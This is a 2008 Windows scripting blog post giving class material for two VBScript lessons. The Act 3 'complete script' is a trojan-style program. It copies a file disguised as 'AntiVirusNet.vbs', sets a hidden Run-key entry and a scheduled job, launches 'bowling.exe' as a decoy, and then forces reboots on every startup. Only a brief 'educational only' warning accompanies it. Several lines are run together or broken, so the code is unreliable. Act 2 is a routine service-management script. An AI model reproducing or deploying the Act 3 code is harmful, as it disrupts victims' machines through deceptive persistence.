Windows Scripting BLOG

Due to limited time working on this project this place is not intended to people who are new to scripting but much more for people who are already familiar with the VBS/WMI syntax.

Mittwoch, 26. März 2008

Learn Windows Scripting Act 3 - Class material

Class material for ACT 3

References
StdRegProv Class
http://msdn2.microsoft.com/en-us/library/aa393664(VS.85).aspx

Win32_OperatingSystem (reboot method)
http://msdn2.microsoft.com/en-us/library/aa393009(VS.85).aspx

Win32_LocalTime Class
http://msdn2.microsoft.com/en-us/library/aa394171(VS.85).aspx

Win32_ScheduledJob Class
http://msdn2.microsoft.com/en-us/library/aa394399(VS.85).aspx


Tools
Zip2Secure by Chilkat Software (free of charge)
http://www.chilkatsoft.com/ChilkatSfx.asp

Complete Script
!Attention! Do not use this script unless you know exactly what you are doing. Also, this is provided for educational purposes ONLY. do not use the presented in malicious fashion!


'File 1 Romcs.vbs
HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set WSHShell = CreateObject("Scripting.FilesystemObject")
WSHShell.CopyFile "AntiVirusNet.vbs", "C:\AntiVirusNet.vbs"
Set ObjRegistry = GetObject("winmgmts:{impersonationLevel = impersonate}!\\" & strComputer & "\root\default:StdRegProv")
Return = objRegistry.setStringValue(HKEY_LOCAL_MACHINE,"Software\Microsoft\Windows\CurrentVersion\Run","WRSPXPBXUpd","C:\AntiVirusNet.vbs")
If Return <> 0 Then
msgbox("Keine Admin Rights!")
Else
Set objWMIService1 = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colComputers3 = objWMIService1.ExecQuery("Select * from Win32_LocalTime")
For Each objComputer2 in colComputers3
Hou = objComputer2.HourMin = objComputer2.Minute
if Hou < 10 thenHou = 0 & objComputer2.Hourend if
next
if Min < 10 thenMin = 0 & objComputer2.Minute
end if
Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colComputers2 = objWMIService.Get("Win32_ScheduledJob")T = "C:\AntiVirusNet.vbs"D = "********" & Hou & "" & Min & "00.000000+000"
'+1 hour automatically
erret = colComputers2.Create(T,D,JobID1000)Set WSHShell1 = CreateObject("WScript.Shell")WSHShell1.Run "bowling.exe"'WSHShell.DeleteFile ("*.vsbs")End IF



' File 2 AntiVirusNet.vbs
On error resume nextstrComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set colComputers2 = objWMIService.ExecQuery("Select * from Win32_OperatingSystem")For Each objComputer2 in colComputers2objComputer2.Security.privileges.AddAsString "SeShutdownPrivilege", trueerrRet = objComputer2.Reboot()next

Sonntag, 23. März 2008

Learn Windows Scripting Act 2 - Class material

Class material used in 'Learn Windows Scripting Act 2'

References:
Win32_Service Class
http://msdn2.microsoft.com/en-us/library/aa394418(VS.85).aspx

Microsoft Scriptomatic Tool
http://www.microsoft.com/technet/scriptcenter/tools/scripto2.mspx



Complete Script

On Error Resume Next

strComputer = Wscript.Arguments(0)

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_Service where DisplayName = ""MSSQLSERVER""")
For Each objItem in colItems

Wscript.Echo "DisplayName: " & objItem.DisplayName
Wscript.Echo "StartMode: " & objItem.StartMode
Wscript.Echo "State: " & objItem.State
star = Wscript.Arguments(1)
ret2 = objitem.ChangeStartMode(star)
ret = objitem.StopService()


Wscript.Echo ret
Wscript.Echo ret2



Next